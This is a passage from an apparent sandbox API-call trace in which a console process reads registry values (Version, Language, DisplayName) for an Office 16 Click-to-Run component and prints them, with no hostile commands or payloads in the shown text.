_File=0x7fefd702ab0) returned 4 [0147.859] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.859] lstrlenW (lpString="Version") returned 7 [0147.859] __iob_func () returned 0x7fefd702a80 [0147.859] _fileno (_File=0x7fefd702ab0) returned 1 [0147.859] _errno () returned 0xc4bb0 [0147.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.859] _errno () returned 0xc4bb0 [0147.859] GetFileType (hFile=0x50) returned 0x1 [0147.859] lstrlenW (lpString="Version") returned 7 [0147.859] GetConsoleOutputCP () returned 0x1b5 [0147.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.859] GetConsoleOutputCP () returned 0x1b5 [0147.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.859] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.859] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.859] __iob_func () returned 0x7fefd702a80 [0147.859] _fileno (_File=0x7fefd702ab0) returned 1 [0147.859] _errno () returned 0xc4bb0 [0147.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.859] _errno () returned 0xc4bb0 [0147.859] GetFileType (hFile=0x50) returned 0x1 [0147.859] lstrlenW (lpString=" ") returned 4 [0147.860] GetConsoleOutputCP () returned 0x1b5 [0147.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.860] GetConsoleOutputCP () returned 0x1b5 [0147.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.860] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.860] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.860] __iob_func () returned 0x7fefd702a80 [0147.860] _fileno (_File=0x7fefd702ab0) returned 1 [0147.860] _errno () returned 0xc4bb0 [0147.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.860] _errno () returned 0xc4bb0 [0147.860] GetFileType (hFile=0x50) returned 0x1 [0147.860] lstrlenW (lpString="REG_DWORD") returned 9 [0147.860] GetConsoleOutputCP () returned 0x1b5 [0147.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.860] GetConsoleOutputCP () returned 0x1b5 [0147.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.860] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.860] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.861] __iob_func () returned 0x7fefd702a80 [0147.861] _fileno (_File=0x7fefd702ab0) returned 1 [0147.861] _errno () returned 0xc4bb0 [0147.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.861] _errno () returned 0xc4bb0 [0147.861] GetFileType (hFile=0x50) returned 0x1 [0147.861] lstrlenW (lpString=" ") returned 4 [0147.861] GetConsoleOutputCP () returned 0x1b5 [0147.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.861] GetConsoleOutputCP () returned 0x1b5 [0147.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.861] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.861] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.861] __iob_func () returned 0x7fefd702a80 [0147.861] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.861] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x10002086") returned 10 [0147.861] _fileno (_File=0x7fefd702ab0) returned 1 [0147.861] _errno () returned 0xc4bb0 [0147.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.861] _errno () returned 0xc4bb0 [0147.861] GetFileType (hFile=0x50) returned 0x1 [0147.861] lstrlenW (lpString="0x10002086") returned 10 [0147.861] GetConsoleOutputCP () returned 0x1b5 [0147.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10002086", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.862] GetConsoleOutputCP () returned 0x1b5 [0147.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10002086", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x10002086", lpUsedDefaultChar=0x0) returned 10 [0147.862] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.862] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.862] __iob_func () returned 0x7fefd702a80 [0147.862] _fileno (_File=0x7fefd702ab0) returned 1 [0147.862] _errno () returned 0xc4bb0 [0147.862] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.862] _errno () returned 0xc4bb0 [0147.862] GetFileType (hFile=0x50) returned 0x1 [0147.862] lstrlenW (lpString="\n") returned 1 [0147.862] GetConsoleOutputCP () returned 0x1b5 [0147.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.862] GetConsoleOutputCP () returned 0x1b5 [0147.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.862] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.862] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.862] GetProcessHeap () returned 0x2e0000 [0147.862] GetProcessHeap () returned 0x2e0000 [0147.862] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.862] GetProcessHeap () returned 0x2e0000 [0147.862] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.862] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.863] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.863] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.863] GetProcessHeap () returned 0x2e0000 [0147.863] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.863] GetProcessHeap () returned 0x2e0000 [0147.863] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.863] GetProcessHeap () returned 0x2e0000 [0147.863] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.863] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0147.863] __iob_func () returned 0x7fefd702a80 [0147.863] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.863] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.863] _fileno (_File=0x7fefd702ab0) returned 1 [0147.863] _errno () returned 0xc4bb0 [0147.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.863] _errno () returned 0xc4bb0 [0147.863] GetFileType (hFile=0x50) returned 0x1 [0147.863] lstrlenW (lpString=" ") returned 4 [0147.863] GetConsoleOutputCP () returned 0x1b5 [0147.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.863] GetConsoleOutputCP () returned 0x1b5 [0147.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.863] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.863] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.863] lstrlenW (lpString="Language") returned 8 [0147.864] __iob_func () returned 0x7fefd702a80 [0147.864] _fileno (_File=0x7fefd702ab0) returned 1 [0147.864] _errno () returned 0xc4bb0 [0147.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.864] _errno () returned 0xc4bb0 [0147.864] GetFileType (hFile=0x50) returned 0x1 [0147.864] lstrlenW (lpString="Language") returned 8 [0147.864] GetConsoleOutputCP () returned 0x1b5 [0147.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.864] GetConsoleOutputCP () returned 0x1b5 [0147.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.864] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.864] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.864] __iob_func () returned 0x7fefd702a80 [0147.864] _fileno (_File=0x7fefd702ab0) returned 1 [0147.864] _errno () returned 0xc4bb0 [0147.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.864] _errno () returned 0xc4bb0 [0147.864] GetFileType (hFile=0x50) returned 0x1 [0147.864] lstrlenW (lpString=" ") returned 4 [0147.864] GetConsoleOutputCP () returned 0x1b5 [0147.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.864] GetConsoleOutputCP () returned 0x1b5 [0147.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.865] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.865] __iob_func () returned 0x7fefd702a80 [0147.865] _fileno (_File=0x7fefd702ab0) returned 1 [0147.865] _errno () returned 0xc4bb0 [0147.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.865] _errno () returned 0xc4bb0 [0147.865] GetFileType (hFile=0x50) returned 0x1 [0147.865] lstrlenW (lpString="REG_DWORD") returned 9 [0147.865] GetConsoleOutputCP () returned 0x1b5 [0147.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.865] GetConsoleOutputCP () returned 0x1b5 [0147.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.865] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.865] __iob_func () returned 0x7fefd702a80 [0147.865] _fileno (_File=0x7fefd702ab0) returned 1 [0147.865] _errno () returned 0xc4bb0 [0147.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.865] _errno () returned 0xc4bb0 [0147.865] GetFileType (hFile=0x50) returned 0x1 [0147.865] lstrlenW (lpString=" ") returned 4 [0147.866] GetConsoleOutputCP () returned 0x1b5 [0147.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.866] GetConsoleOutputCP () returned 0x1b5 [0147.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.866] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.866] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.866] __iob_func () returned 0x7fefd702a80 [0147.866] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.866] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0147.866] _fileno (_File=0x7fefd702ab0) returned 1 [0147.866] _errno () returned 0xc4bb0 [0147.866] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.866] _errno () returned 0xc4bb0 [0147.866] GetFileType (hFile=0x50) returned 0x1 [0147.866] lstrlenW (lpString="0x409") returned 5 [0147.866] GetConsoleOutputCP () returned 0x1b5 [0147.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.866] GetConsoleOutputCP () returned 0x1b5 [0147.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0147.866] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.866] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.867] __iob_func () returned 0x7fefd702a80 [0147.867] _fileno (_File=0x7fefd702ab0) returned 1 [0147.867] _errno () returned 0xc4bb0 [0147.867] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.867] _errno () returned 0xc4bb0 [0147.867] GetFileType (hFile=0x50) returned 0x1 [0147.867] lstrlenW (lpString="\n") returned 1 [0147.867] GetConsoleOutputCP () returned 0x1b5 [0147.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.867] GetConsoleOutputCP () returned 0x1b5 [0147.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.867] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.867] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.867] GetProcessHeap () returned 0x2e0000 [0147.867] GetProcessHeap () returned 0x2e0000 [0147.867] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.867] GetProcessHeap () returned 0x2e0000 [0147.867] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.867] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.867] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.867] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5e) returned 0x0 [0147.867] GetProcessHeap () returned 0x2e0000 [0147.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x60) returned 0x2fb7d0 [0147.867] GetProcessHeap () returned 0x2e0000 [0147.867] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.868] GetProcessHeap () returned 0x2e0000 [0147.868] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x60 [0147.868] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x5e | out: pdwType=0x23f5f0*=0x1, pvData="Office 16 Click-to-Run Localization Component", pcbData=0x23f670*=0x5c) returned 0x0 [0147.868] __iob_func () returned 0x7fefd702a80 [0147.868] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.868] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.868] _fileno (_File=0x7fefd702ab0) returned 1 [0147.868] _errno () returned 0xc4bb0 [0147.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.868] _errno () returned 0xc4bb0 [0147.868] GetFileType (hFile=0x50) returned 0x1 [0147.868] lstrlenW (lpString=" ") returned 4 [0147.868] GetConsoleOutputCP () returned 0x1b5 [0147.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.868] GetConsoleOutputCP () returned 0x1b5 [0147.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.868] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.868] lstrlenW (lpString="DisplayName") returned 11 [0147.868] __iob_func () returned 0x7fefd702a80 [0147.868] _fileno (_File=0x7fefd702ab0) returned 1 [0147.868] _errno () returned 0xc4bb0 [0147.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.868] _errno () returned 0xc4bb0 [0147.868] GetFileType (hFile=0x50) returned 0x1 [0147.868] lstrlenW (lpString="DisplayName") returned 11 [0147.869] GetConsoleOutputCP () returned 0x1b5 [0147.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.869] GetConsoleOutputCP () returned 0x1b5 [0147.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.869] __iob_func () returned 0x7fefd702a80 [0147.869] _fileno (_File=0x7fefd702ab0) returned 1 [0147.869] _errno () returned 0xc4bb0 [0147.869] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.869] _errno () returned 0xc4bb0 [0147.869] GetFileType (hFile=0x50) returned 0x1 [0147.869] lstrlenW (lpString=" ") returned 4 [0147.869] GetConsoleOutputCP () returned 0x1b5 [0147.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.869] GetConsoleOutputCP () returned 0x1b5 [0147.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.870] __iob_func () returned 0x7fefd702a80 [0147.870] _fileno (_File=0x7fefd702ab0) returned 1 [0147.870] _errno () returned 0xc4bb0 [0147.870] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.870] _errno () returned 0xc4bb0 [0147.870] GetFileType (hFile=0x50) returned 0x1 [0147.870] lstrlenW (lpString="REG_SZ") returned 6 [0147.870] GetConsoleOutputCP () returned 0x1b5 [0147.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.870] GetConsoleOutputCP () returned 0x1b5 [0147.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.870] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.870] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.870] __iob_func () returned 0x7fefd702a80 [0147.870] _fileno (_File=0x7fefd702ab0) returned 1 [0147.870] _errno () returned 0xc4bb0 [0147.870] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.870] _errno () returned 0xc4bb0 [0147.870] GetFileType (hFile=0x50) returned 0x1 [0147.870] lstrlenW (lpString=" ") returned 4 [0147.870] GetConsoleOutputCP () returned 0x1b5 [0147.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.870] GetConsoleOutputCP () returned 0x1b5 [0147.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.871] __iob_func () returned 0x7fefd702a80 [0147.871] _fileno (_File=0x7fefd702ab0) returned 1 [0147.871] _errno () returned 0xc4bb0 [0147.871] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.871] _errno () returned 0xc4bb0 [0147.871] GetFileType (hFile=0x50) returned 0x1 [0147.871] lstrlenW (lpString="Office 16 Click-to-Run Localization Component") returned 45 [0147.871] GetConsoleOutputCP () returned 0x1b5 [0147.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Office 16 Click-to-Run Localization Component", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0147.871] GetConsoleOutputCP () returned 0x1b5 [0147.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Office 16 Click-to-Run Localization Component", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office 16 Click-to-Run Localization Component", lpUsedDefaultChar=0x0) returned 45 [0147.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0147.871] fflush (in: 